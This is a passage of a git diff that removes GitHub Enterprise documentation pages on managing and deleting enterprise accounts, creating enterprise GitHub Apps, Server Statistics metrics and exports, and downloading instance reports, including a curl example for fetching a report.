update. Add an explicit permissions block in these workflows to grant the required permissions. - -## Upgrading an organization to an enterprise account - -{% data reusables.organizations.billing-settings %} -1. Click **Upgrade to enterprise account**. -1. Under "Enterprise name", type a name for your enterprise account. -1. Under "Enterprise URL slug", type a slug to be used in the URL for your enterprise. - - For example, if you choose `octo-enterprise`, the URL will be `https://github.com/enterprises/octo-enterprise`. -1. Click **Confirm and upgrade**. -1. Read the warnings, then click **Create enterprise account**. - -## Next steps - -Follow the [Get started with your enterprise account](/admin/guides#get-started-with-your-enterprise-account) learning path. - -## Further reading - -* [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) diff --git a/content/admin/managing-your-enterprise-account/creating-github-apps-for-your-enterprise.md b/content/admin/managing-your-enterprise-account/creating-github-apps-for-your-enterprise.md deleted file mode 100644 index 6ee34bef81df..000000000000 --- a/content/admin/managing-your-enterprise-account/creating-github-apps-for-your-enterprise.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Creating GitHub Apps for your enterprise -intro: 'Learn how to create a {% data variables.product.prodname_github_app %} for organizations within your enterprise.' -versions: - feature: enterprise-apps-public-beta -type: how_to -topics: - - Enterprise -permissions: Enterprise owners. -shortTitle: Create a GitHub App ---- - -You can create a {% data variables.product.prodname_github_app %} under your enterprise account. The app can only be installed on organizations within your enterprise, and can only be authorized by members of your enterprise. The app can't be installed on user accounts. - -## Step 1: Registering a {% data variables.product.prodname_github_app %} - -To create a {% data variables.product.prodname_github_app %}, you must first register the app. See [AUTOTITLE](/apps/creating-github-apps/registering-a-github-app/registering-a-github-app). - -Apps can also be transferred to an enterprise from a member or organization. To transfer an app, see [AUTOTITLE](/apps/maintaining-github-apps/transferring-ownership-of-a-github-app). - -## Step 2: Building a {% data variables.product.prodname_github_app %} - -After registering a {% data variables.product.prodname_github_app %}, you will want to write code to make your {% data variables.product.prodname_github_app %} do something. For examples of how to write code, see: - -* [AUTOTITLE](/apps/creating-github-apps/writing-code-for-a-github-app/quickstart) -* [AUTOTITLE](/apps/creating-github-apps/guides/building-a-github-app-that-responds-to-webhook-events) -* [AUTOTITLE](/apps/creating-github-apps/guides/building-a-login-with-github-button-with-a-github-app) -* [AUTOTITLE](/apps/creating-github-apps/guides/building-a-cli-with-a-github-app) -* [AUTOTITLE](/apps/creating-github-apps/writing-code-for-a-github-app/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow) - -You should aim to follow best practices. See [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). - -## Step 3: Authorizing or sharing your {% data variables.product.prodname_github_app %} - -Once your {% data variables.product.prodname_github_app %} is registered, you'll need to make it available to organizations in your enterprise, either through **authorization** or **installation**, depending on the app’s purpose. - -Enterprise owners can modify the permissions for apps owned by their enterprise at any time. Permissions changes will be automatically accepted by organizations in the enterprise. - -### Step 3a: Authorizing your {% data variables.product.prodname_github_app %} - -Some {% data variables.product.prodname_github_apps %}, like {% data variables.product.prodname_copilot_short %} extensions, require **authorization** but do not need to be installed on an organization. Users in your enterprise can authorize the app to access resources within organizations. However, the app will only have access to {% data variables.product.github %} resources where it is installed. See [AUTOTITLE](/apps/using-github-apps/authorizing-github-apps). - -### Step 3b: Sharing your {% data variables.product.prodname_github_app %} via an installation link - -For apps that require installation to function, you can provide organization owners with an installation link. Once the app is installed, it will have access to the organization's resources. See [AUTOTITLE](/apps/sharing-github-apps/sharing-your-github-app#sharing-your-github-app-via-an-install-link). - -## Step 4: Installing your {% data variables.product.prodname_github_app %} (if required) - -If your {% data variables.product.prodname_github_app %} requires installation (not just authorization), organization owners can use the install link to install the app on their organization. See [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-a-third-party). diff --git a/content/admin/managing-your-enterprise-account/deleting-an-enterprise-account.md b/content/admin/managing-your-enterprise-account/deleting-an-enterprise-account.md deleted file mode 100644 index 86f0be6a95fd..000000000000 --- a/content/admin/managing-your-enterprise-account/deleting-an-enterprise-account.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Deleting an enterprise account -intro: 'You can delete an enterprise account to stop paying for {% data variables.product.prodname_enterprise %}.' -versions: - ghec: '*' -type: how_to -topics: - - Accounts - - Enterprise - - Fundamentals -permissions: Enterprise owners can delete an enterprise account if the company pays by credit card or PayPal. -shortTitle: Delete enterprise account -redirect_from: - - /admin/overview/deleting-an-enterprise-account ---- - -## Can I delete my enterprise account? - -Only self-serve {% data variables.product.prodname_enterprise %} customers can delete their enterprise account. If your company pays via invoice, and you want to stop paying for {% data variables.product.prodname_enterprise %} altogether, contact {% data variables.contact.contact_enterprise_sales %}. - -## What happens when I delete the account? - -Deleting your enterprise account cancels the enterprise license and removes the enterprise account from {% data variables.product.prodname_dotcom %}. - -If there are any outstanding balances on your account, you will be charged a one-time payment when you initiate the deletion process. If you delete your enterprise account partway through a billing cycle, contact {% data variables.contact.contact_support %} to request a prorated refund for the remainder of the billing cycle. - -When you delete your enterprise account, you lose the policies, billing settings, and user roles you've configured. You do not lose data like repositories or packages, unless you choose to delete the organizations that contain that data. - -If you upgraded to an enterprise account from a single organization and then delete that enterprise account, the associated billing history will also be deleted. We recommend that you save any important billing information before deleting your enterprise account. - -## Prerequisites - -You must remove, transfer, or delete all organizations in the enterprise before you can delete the enterprise account. For more information, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#transferring-an-organization-between-enterprise-accounts) and [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise). - -## Deleting an enterprise account on {% data variables.product.prodname_dotcom %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -1. If you are not trialing {% data variables.product.prodname_ghe_cloud %}, delete your enterprise account: - 1. Under **{% octicon "gear" aria-hidden="true" %} Settings**, click **Profile**. - 1. In the "Danger Zone" section, click **Delete this enterprise**. - 1. In the text box, type the enterprise slug to confirm the deletion, then click **Delete this enterprise**. -1. If you are trialing {% data variables.product.prodname_ghe_cloud %}, cancel your trial, or delete the expired trial: - {% data reusables.enterprise-accounts.billing-tab %} - 1. At the top of the page, click **Cancel trial** if your trial is active, or click **Delete trial** if your trial is expired. - 1. Follow the prompts. - -If you want to restore an enterprise account that you have deleted, you must contact {% data variables.contact.contact_support %}. diff --git a/content/admin/managing-your-enterprise-account/index.md b/content/admin/managing-your-enterprise-account/index.md deleted file mode 100644 index 8eb3b1f6e595..000000000000 --- a/content/admin/managing-your-enterprise-account/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Managing your enterprise account -intro: You can use an enterprise account to centrally manage multiple organizations. -versions: - ghec: '*' - ghes: '*' -children: - - /about-enterprise-accounts - - /creating-an-enterprise-account - - /creating-a-readme-for-an-enterprise - - /deleting-an-enterprise-account - - /changing-the-url-for-your-enterprise - - /creating-github-apps-for-your-enterprise -shortTitle: Manage enterprise account ---- diff --git a/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics.md b/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics.md deleted file mode 100644 index 3f8e99645166..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics.md +++ /dev/null @@ -1,174 +0,0 @@ ---- -title: About Server Statistics -intro: 'You can use {% data variables.product.prodname_server_statistics %} to analyze your own aggregate data from {% data variables.product.prodname_ghe_server %}, and help us improve {% data variables.product.company_short %} products.' -versions: - ghes: '*' -permissions: 'Enterprise owners can enable {% data variables.product.prodname_server_statistics %}.' -redirect_from: - - /early-access/github/analyze-how-your-team-works-with-server-statistics/about-server-statistics -topics: - - Enterprise ---- - -## About the benefits of {% data variables.product.prodname_server_statistics %} - -{% data variables.product.prodname_server_statistics %} can help you anticipate the needs of your organization, understand how your team works, and show the value you get from {% data variables.product.prodname_ghe_server %}. - -Once enabled, {% data variables.product.prodname_server_statistics %} collects aggregate data on how much certain features are used on your instance over time. Unlike other [Admin Stats API](/rest/enterprise-admin/admin-stats) endpoints, which only return data for the last day, {% data variables.product.prodname_server_statistics %} provides historical data of all {% data variables.product.prodname_server_statistics %} metrics collected since the day you enabled the feature. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise). - -When you enable {% data variables.product.prodname_server_statistics %}, you're helping to build a better {% data variables.product.prodname_dotcom %}. The aggregated data you'll provide gives us insights into how {% data variables.product.prodname_dotcom %} adds value to our customers. This information allows {% data variables.product.company_short %} to make better and more informed product decisions, ultimately benefiting you. - -## About data security - -We respect your data. We will never transmit data from {% data variables.location.product_location %} unless you have first given us permission to do so. - -We collect no personal data. We also don't collect any {% data variables.product.company_short %} content, such as code, issues, comments, or pull request content. - -Only owners of the connected enterprise account or organization on {% data variables.product.prodname_ghe_cloud %} can access the data. - -Only certain aggregate metrics are collected on repositories, issues, pull requests, and other features. To see the list of aggregate metrics collected, see [{% data variables.product.prodname_server_statistics %} data collected](#server-statistics-data-collected). - -Any updates to the collected metrics will happen in future feature releases of {% data variables.product.prodname_ghe_server %} and will be described in the [{% data variables.product.prodname_ghe_server %} release notes](/admin/release-notes). In addition, we will update this article with all metric updates. - -For a better understanding of how we store and secure {% data variables.product.prodname_server_statistics %} data, see [GitHub Security](https://github.com/security). - -### About data retention and deletion - -{% data variables.product.company_short %} collects {% data variables.product.prodname_server_statistics %} data for as long as your {% data variables.product.prodname_ghe_server %} license is active and the {% data variables.product.prodname_server_statistics %} feature is enabled. - -If you would like to delete your data, you may do so by contacting GitHub Support, your {% data variables.product.prodname_dotcom %} account representative, or your Customer Success Manager. Generally, we delete data in the timeframe specified in our privacy statement. For more information, see [{% data variables.product.company_short %}'s privacy statement](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement#data-retention-and-deletion-of-data) in the {% data variables.product.prodname_dotcom_the_website %} documentation. - -### About data portability - -As an organization owner or enterprise owner on {% data variables.product.prodname_ghe_cloud %}, you can access {% data variables.product.prodname_server_statistics %} data by exporting the data in a CSV or JSON file or through the {% data variables.product.prodname_server_statistics %} REST API. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api) or [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics). - -## About disabling data collection - -You can disable the {% data variables.product.prodname_server_statistics %} feature at any time. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise). - -## {% data variables.product.prodname_server_statistics %} data collected - -After you enable {% data variables.product.prodname_server_statistics %}, metrics are collected through a daily job that runs on {% data variables.location.product_location %}. The aggregate metrics are stored on your organization or enterprise account on {% data variables.product.prodname_ghe_cloud %} and are not stored on {% data variables.location.product_location %}. - -The following aggregate metrics will be collected and transmitted on a daily basis and represent the total counts for the day. - -| CSV column | Name | Description | -| ---------- | ---- | ----------- | -| A | `github_connect.features_enabled` | Array of {% data variables.product.prodname_github_connect %} features that are enabled for your instance (see [AUTOTITLE](/admin/configuration/configuring-github-connect/about-github-connect#github-connect-features) ) | -| B | `host_name` | The hostname for your instance | -| C | `dormant_users.dormancy_threshold` | The length of time a user must be inactive to be considered dormant | -| D | `dormant_users.total_dormant_users` | Number of dormant user accounts | -| E | `ghes_version` | The version of {% data variables.product.prodname_ghe_server %} that your instance is running | -| F | `server_id` | The UUID generated for your instance -| G | `collection_date` | The date the metrics were collected | -| H | `schema_version` | The version of the database schema used to store this data | -| I | `ghe_stats.comments.total_commit_comments` | Number of comments on commits | -| J | `ghe_stats.comments.total_gist_comments` | Number of comments on gists | -| K | `ghe_stats.comments.total_issue_comments` | Number of comments on issues | -| L | `ghe_stats.comments.total_pull_request_comments` | Number of comments on pull requests | -| M | `ghe_stats.gists.total_gists` | Number of gists (both secret and public) | -| N | `ghe_stats.gists.private_gists` | Number of secret gists | -| O | `ghe_stats.gists.public_gists` | Number of public gists | -| P | `ghe_stats.hooks.total_hooks` | Number of pre-receive hooks (both active and inactive) | -| Q | `ghe_stats.hooks.active_hooks` | Number of active pre-receive hooks | -| R | `ghe_stats.hooks.inactive_hooks` | Number of inactive pre-receive hooks | -| S | `ghe_stats.issues.total_issues` | Number of issues (both open and closed) | -| T | `ghe_stats.issues.open_issues` | Number of open issues | -| U | `ghe_stats.issues.closed_issues` | Number of closed issues | -| V | `ghe_stats.milestones.total_milestones` | Number of milestones (both open and closed) | -| W | `ghe_stats.milestones.open_milestones` | Number of open milestones | -| X | `ghe_stats.milestones.closed_milestones` | Number of closed milestones | -| Y | `ghe_stats.orgs.total_orgs` | Number of organizations (both enabled and disabled) | -| Z | `ghe_stats.orgs.disabled_orgs` | Number of disabled organizations | -| AA | `ghe_stats.orgs.total_teams` | Number of teams | -| AB | `ghe_stats.orgs.total_team_members` | Number of team members | -| AC | `ghe_stats.pages.total_pages` | Number of {% data variables.product.prodname_pages %} sites | -| AD | `ghe_stats.pulls.total_pulls` | Number of pull requests | -| AE | `ghe_stats.pulls.merged_pulls` | Number of merged pull requests | -| AF | `ghe_stats.pulls.mergeable_pulls` | Number of pull requests that are currently mergeable | -| AG | `ghe_stats.pulls.unmergeable_pulls` | Number of pull requests that are currently unmergeable | -| AH | `ghe_stats.repos.total_repos` | Number of repositories (both upstream repositories and forks) | -| AI | `ghe_stats.repos.root_repos` | Number of upstream repositories | -| AJ | `ghe_stats.repos.fork_repos` | Number of forks | -| AK | `ghe_stats.repos.org_repos` | Number of repositories owned by organizations | -| AL | `ghe_stats.repos.total_pushes` | Number of pushes to repositories | -| AM | `ghe_stats.repos.total_wikis` | Number of wikis | -| AN | `ghe_stats.users.total_users` | Number of user accounts | -| AO | `ghe_stats.users.admin_users` | Number of user accounts that are site administrators | -| AP | `ghe_stats.users.suspended_users` | Number of user accounts that are suspended | -| AQ | `actions_stats.number_of_repos_using_actions` | Number of repositories using {% data variables.product.prodname_actions %} | -| AR | `actions_stats.percentage_of_repos_using_actions` | Percentage of repositories using {% data variables.product.prodname_actions %} | -| AS | `packages_stats.registry_enabled` | Whether {% data variables.product.prodname_registry %} with repository-scoped packages is enabled for {% data variables.location.product_location %} | -| AT | `packages_stats.registry_v2_enabled` | Whether {% data variables.product.prodname_registry %} with granular permissions is enabled for {% data variables.location.product_location %} | -| AU | `packages_stats.ecosystems.docker.registry_enabled` | Whether Docker is enabled for {% data variables.product.prodname_registry %} | -| AV | `packages_stats.ecosystems.docker.published_packages_count` | Number of published Docker images (private, public, and internal) | -| AW | `packages_stats.ecosystems.docker.private_packages_count`| Number of private Docker images | -| AX | `packages_stats.ecosystems.docker.public_packages_count` | Number of public Docker images | -| AY | `packages_stats.ecosystems.docker.internal_packages_count` | Number of internal Docker images | -| AZ | `packages_stats.ecosystems.docker.user_packages_count` | Number of Docker images owned by users | -| BA | `packages_stats.ecosystems.docker.organization_packages_count` | Number of Docker images owned by organizations | -| BB | `packages_stats.ecosystems.docker.daily_download_count` | Number of downloads of Docker images | -| BC | `packages_stats.ecosystems.docker.daily_update_count` | Number of Docker images updated | -| BD | `packages_stats.ecosystems.docker.daily_delete_count` | Number of Docker images deleted | -| BE | `packages_stats.ecosystems.docker.daily_create_count` | Number of Docker images created | -| BF | `packages_stats.ecosystems.maven.registry_enabled` | Whether Maven is enabled for {% data variables.product.prodname_registry %} | -| BG | `packages_stats.ecosystems.maven.published_packages_count` | Number of published Maven packages (private, public, and internal) | -| BH | `packages_stats.ecosystems.maven.private_packages_count` | Number of private Maven packages | -| BI | `packages_stats.ecosystems.maven.public_packages_count` | Number of public Maven packages | -| BJ | `packages_stats.ecosystems.maven.internal_packages_count` | Number of internal Maven packages | -| BK | `packages_stats.ecosystems.maven.user_packages_count` | Number of Maven packages owned by user accounts | -| BL | `packages_stats.ecosystems.maven.organization_packages_count` | Number of Maven packages owned by organizations | -| BM | `packages_stats.ecosystems.maven.daily_download_count` | Number of downloads of Maven packages | -| BN | `packages_stats.ecosystems.maven.daily_update_count` | Number of Maven packages updated | -| BO | `packages_stats.ecosystems.maven.daily_delete_count` | Number of Maven packages deleted | -| BP | `packages_stats.ecosystems.maven.daily_create_count` | Number of Maven packages created | -| BQ | `packages_stats.ecosystems.npm.registry_enabled` | Whether npm is enabled for {% data variables.product.prodname_registry %} | -| BR | `packages_stats.ecosystems.npm.published_packages_count` | Number of published npm packages (private, public, and internal) | -| BS | `packages_stats.ecosystems.npm.private_packages_count` | Number of private npm packages | -| BT | `packages_stats.ecosystems.npm.public_packages_count` | Number of public npm packages | -| BU | `packages_stats.ecosystems.npm.internal_packages_count` | Number of internal npm packages | -| BV | `packages_stats.ecosystems.npm.user_packages_count` | Number of npm packages owned by user accounts | -| BW | `packages_stats.ecosystems.npm.organization_packages_count` | Number of npm packages owned by organizations | -| BX | `packages_stats.ecosystems.npm.daily_download_count` | Number of downloads of npm packages | -| BY | `packages_stats.ecosystems.npm.daily_update_count` | Number of npm packages updated | -| BZ | `packages_stats.ecosystems.npm.daily_delete_count` | Number of npm packages deleted | -| CA | `packages_stats.ecosystems.npm.daily_create_count` | Number of npm packages created | -| CB | `packages_stats.ecosystems.nuget.registry_enabled` | Whether NuGet is enabled for {% data variables.product.prodname_registry %} | -| CC | `packages_stats.ecosystems.nuget.published_packages_count` | Number of published NuGet packages (private, public, and internal) | -| CD | `packages_stats.ecosystems.nuget.private_packages_count` | Number of private NuGet packages | -| CE | `packages_stats.ecosystems.nuget.public_packages_count` | Number of public NuGet packages | -| CF | `packages_stats.ecosystems.nuget.internal_packages_count` | Number of internal NuGet packages | -| CG | `packages_stats.ecosystems.nuget.user_packages_count` | Number of NuGet packages owned by user accounts | -| CH | `packages_stats.ecosystems.nuget.organization_packages_count` | Number of NuGet packages owned by organizations | -| CI | `packages_stats.ecosystems.nuget.daily_download_count` | Number of downloads of NuGet packages | -| CJ | `packages_stats.ecosystems.nuget.daily_update_count` | Number of NuGet packages updated | -| CK | `packages_stats.ecosystems.nuget.daily_delete_count` | Number of NuGet packages deleted | -| CL | `packages_stats.ecosystems.nuget.daily_create_count` | Number of NuGet packages created | -| CM | `packages_stats.ecosystems.ruby_gems.registry_enabled` | Whether Rubygems is enabled for {% data variables.product.prodname_registry %} | -| CN | `packages_stats.ecosystems.ruby_gems.published_packages_count` | Number of published Rubygems packages (private, public, and internal) | -| CO | `packages_stats.ecosystems.ruby_gems.private_packages_count` | Number of private Rubygems packages | -| CP | `packages_stats.ecosystems.ruby_gems.public_packages_count` | Number of public Rubygems packages | -| CQ | `packages_stats.ecosystems.ruby_gems.internal_packages_count` | Number of internal Rubygems packages | -| CR | `packages_stats.ecosystems.ruby_gems.user_packages_count` | Number of Rubygems packages owned by user accounts | -| CS | `packages_stats.ecosystems.ruby_gems.organization_packages_count` | Number of Rubygems packages owned by organizations | -| CT | `packages_stats.ecosystems.ruby_gems.daily_download_count` | Number of downloads of Rubygems packages | -| CU | `packages_stats.ecosystems.ruby_gems.daily_update_count` | Number of Rubygems packages updated | -| CV | `packages_stats.ecosystems.ruby_gems.daily_delete_count` | Number of Rubygems packages deleted | -| CW | `packages_stats.ecosystems.ruby_gems.daily_create_count` | Number of Rubygems packages created | -| CX | `packages_stats.ecosystems.containers.registry_enabled` | Whether {% data variables.product.prodname_container_registry %} is enabled for {% data variables.product.prodname_registry %} | -| CY | `packages_stats.ecosystems.containers.published_packages_count` | Number of published container images (private, public, and internal) | -| CZ | `packages_stats.ecosystems.containers.private_packages_count` | Number of private container images | -| DA | `packages_stats.ecosystems.containers.public_packages_count` | Number of public container images | -| DB | `packages_stats.ecosystems.containers.internal_packages_count` | Number of internal container images | -| DC | `packages_stats.ecosystems.containers.user_packages_count` | Number of container images owned by user accounts | -| DD | `packages_stats.ecosystems.containers.organization_packages_count` | Number of container images owned by organizations | -| DE |`packages_stats.ecosystems.containers.daily_download_count` | Number of downloads of container images | -| DF |`packages_stats.ecosystems.containers.daily_update_count` | Number of container images updated | -| DG |`packages_stats.ecosystems.containers.daily_delete_count` | Number of container images deleted | -| DH | `packages_stats.ecosystems.containers.daily_create_count` | Number of container images created | - -## {% data variables.product.prodname_server_statistics %} data examples - -To see an example of the headings included in the CSV export for {% data variables.product.prodname_server_statistics %}, download the [{% data variables.product.prodname_server_statistics %} CSV example](/assets/server-statistics-csv-example.csv). - -To see an example of the response payload for the {% data variables.product.prodname_server_statistics %} API, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api). diff --git a/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md b/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md deleted file mode 100644 index e2eb7723191a..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Exporting Server Statistics -shortTitle: Export Server Statistics -intro: 'You can use your own tools to analyze your {% data variables.product.prodname_ghe_server %} usage over time by downloading your {% data variables.product.prodname_server_statistics %} metrics in a CSV or JSON file.' -versions: - ghes: '*' -redirect_from: - - /early-access/github/analyze-how-your-team-works-with-server-statistics/exploring-server-statistics ---- - -You can download up to the last 365 days of {% data variables.product.prodname_server_statistics %} data in a CSV or JSON file. This data, which includes aggregate metrics on repositories, issues, and pull requests, can help you anticipate the needs of your organization, understand how your team works, and show the value you get from {% data variables.product.prodname_ghe_server %}. - -Before you can download this data, you must enable {% data variables.product.prodname_server_statistics %}. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise). - -To preview the metrics available to download, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics). - -To download these metrics, you must be an enterprise owner or organization owner on {% data variables.product.prodname_ghe_cloud %}. -* If {% data variables.location.product_location %} is connected to an enterprise account on {% data variables.product.prodname_ghe_cloud %}, see [Downloading metrics from your enterprise account](#downloading-metrics-from-your-enterprise-account). -* If {% data variables.location.product_location %} is connected to an organization on {% data variables.product.prodname_ghe_cloud %}, see [Downloading metrics from your organization](#downloading-metrics-from-your-organization). - -To learn more about {% data variables.product.prodname_github_connect %}, see [AUTOTITLE](/admin/configuration/configuring-github-connect/about-github-connect). - -## Downloading metrics from your enterprise account - -{% data reusables.enterprise-accounts.access-enterprise %} - -1. {% ifversion horizontal-nav %}At the top of the page, in the enterprise account sidebar, click {% octicon "plug" aria-hidden="true" %} **GitHub Connect**.{% else %}On the left side of the page, in the enterprise account sidebar, click {% octicon "plug" aria-hidden="true" %} **GitHub Connect**.{% endif %} - -{% data reusables.server-statistics.csv-download %} - -## Downloading metrics from your organization - -{% data reusables.profile.access_org %} - -{% data reusables.profile.org_settings %} - -1. In the left sidebar, click **GitHub Connect**. - -{% data reusables.server-statistics.csv-download %} diff --git a/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/index.md b/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/index.md deleted file mode 100644 index e6f53b0659c1..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Analyzing how your team works with Server Statistics -shortTitle: Server Statistics -intro: 'To analyze how your team works, understand the value you get from {% data variables.product.prodname_ghe_server %}, and help us improve our products, you can use {% data variables.product.prodname_server_statistics %} to review your usage data for {% data variables.product.prodname_ghe_server %} and share this aggregate data with {% data variables.product.company_short %}.' -versions: - ghes: '*' -children: - - /about-server-statistics - - /exporting-server-statistics - - /requesting-server-statistics-using-the-rest-api -redirect_from: - - /admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/including-data-about-github-actions-in-server-statistics ---- diff --git a/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api.md b/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api.md deleted file mode 100644 index 08f8b999123c..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Requesting Server Statistics using the REST API -shortTitle: Server Statistics and REST API -intro: 'You can use your own tools to analyze your {% data variables.product.prodname_ghe_server %} usage over time by requesting the {% data variables.product.prodname_server_statistics %} metrics collected using the REST API.' -versions: - ghes: '*' -redirect_from: - - /early-access/github/analyze-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api ---- - -You can request up to 365 days of metrics in a single {% data variables.product.prodname_server_statistics %} REST API request. This data, which includes aggregate metrics on repositories, issues, and pull requests, can help you anticipate the needs of your organization, understand how your team works, and show the value you get from {% data variables.product.prodname_ghe_server %}. For a list of the metrics collected, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics#server-statistics-data-collected). - -Before you can use the {% data variables.product.prodname_server_statistics %} REST API, you must enable {% data variables.product.prodname_server_statistics %}. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise). - -For more information about using the REST API to request server statistics, see [AUTOTITLE](/enterprise-cloud@latest/rest/enterprise-admin/admin-stats#get-github-enterprise-server-statistics) in the {% data variables.product.prodname_ghe_cloud %} documentation. diff --git a/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/accessing-reports-for-your-instance.md b/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/accessing-reports-for-your-instance.md deleted file mode 100644 index ce3ae7405020..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/accessing-reports-for-your-instance.md +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Accessing reports for your instance -shortTitle: Access reports -intro: "You can download reports with information about the users, organizations, and repositories on {% data variables.location.product_location %}." -permissions: Enterprise owners can download reports for a {% data variables.product.prodname_ghe_server %} instance. -versions: - ghes: '*' -topics: - - Enterprise ---- - -## About reports for {% data variables.product.prodname_ghe_server %} - -If you need to get information about the users, organizations, and repositories on {% data variables.location.product_location %}, you can fetch data using the REST API. For more information, see [AUTOTITLE](/rest/about-the-rest-api/about-the-rest-api). - -The REST API might not provide all of the data that you want, and requires some technical expertise to use. Alternatively, you can reports containing overviews of users, organizations, and repositories on your instance. - -## Downloading reports using the web UI - -1. From an administrative account on {% data variables.product.prodname_ghe_server %}, in the upper-right corner of any page, click {% octicon "rocket" aria-label="Site admin" %}. -1. In the left sidebar, click **Reports**. -1. Next to the report you want to download, click **Download**. - -You can download CSV files that report the following information: - -* All users -* All active users -* All [dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users) -* All users who have been suspended -* All organizations -* All repositories - -## Downloading reports programmatically - -You can also access reports programmatically via standard HTTP authentication and a {% data variables.product.pat_v1 %}. You must use a {% data variables.product.pat_v1 %} with the `site_admin` scope. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -For example, you can download the "all users" report using curl: - -```shell -curl --remote-name \ - --location \ - --user 'USERNAME:TOKEN' \ - http(s)://HOSTNAME/stafftools/reports/all_users.csv -``` - -To access the other reports programmatically, replace `all_users` with `active_users`, `dormant_users`, `suspended_users`, `all_organizations`, or `all_repositories`. - -> [!NOTE] -> The initial curl request will return an HTTP `202` response if there are no cached reports available. Your instance will generate a report in the background. You can send a second request to download the report. You can use a password or an OAuth token with the `site_admin` scope in place of a password. - -## User reports - -Key | Description ------------------:| ------------------------------------------------------------ -`created_at` | When the user account was created (as an ISO 8601 timestamp) -`id` | Account ID for the user or organization -`login` | Account's login name -`email` | Account's primary email address -`role` | Whether the account is an admin or an ordinary user -`suspended?` | Whether the account has been suspended -`last_logged_ip` | Most recent IP address to log into the account -`repos` | Number of repositories owned by the account -`ssh_keys` | Number of SSH keys registered to the account -`org_memberships` | Number of organizations to which the account belongs -`dormant?` | Whether the account is dormant -`last_active` | When the account was last active (as an ISO 8601 timestamp) -`raw_login` | Raw login information (in JSON format) -`2fa_enabled?` | Whether the user has enabled two-factor authentication - -## Organization reports - -Key | Description ---------------:| ------------------------------------ -`id` | Organization ID -`created_at` | When the organization was created -`login` | Organization's login name -`email` | Organization's primary email address -`owners` | Number of organization owners -`members` | Number of organization members -`teams` | Number of organization teams -`repos` | Number of organization repositories -`2fa_required?`| Whether the organization requires two-factor authentication - -## Repository reports - -Key | Description ----------------:| ------------------------------------------------------------ -`created_at` | When the repository was created -`owner_id` | ID of the repository's owner -`owner_type` | Whether the repository is owned by a user or an organization -`owner_name` | Name of the repository's owner -`id` | Repository ID -`name` | Repository name -`visibility` | Whether the repository is public or private -`readable_size` | Repository's size in a human-readable format -`raw_size` | Repository's size as a number -`collaborators` | Number of repository collaborators -`fork?` | Whether the repository is a fork -`deleted?` | Whether the repository has been deleted diff --git a/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/activity-dashboard.md b/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/activity-dashboard.md deleted file mode 100644 index efdb7803ac9e..000000000000 --- a/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity-in-your-enterprise/activity-dashboard.md +++ /dev/null @@ -1,37 +0,0 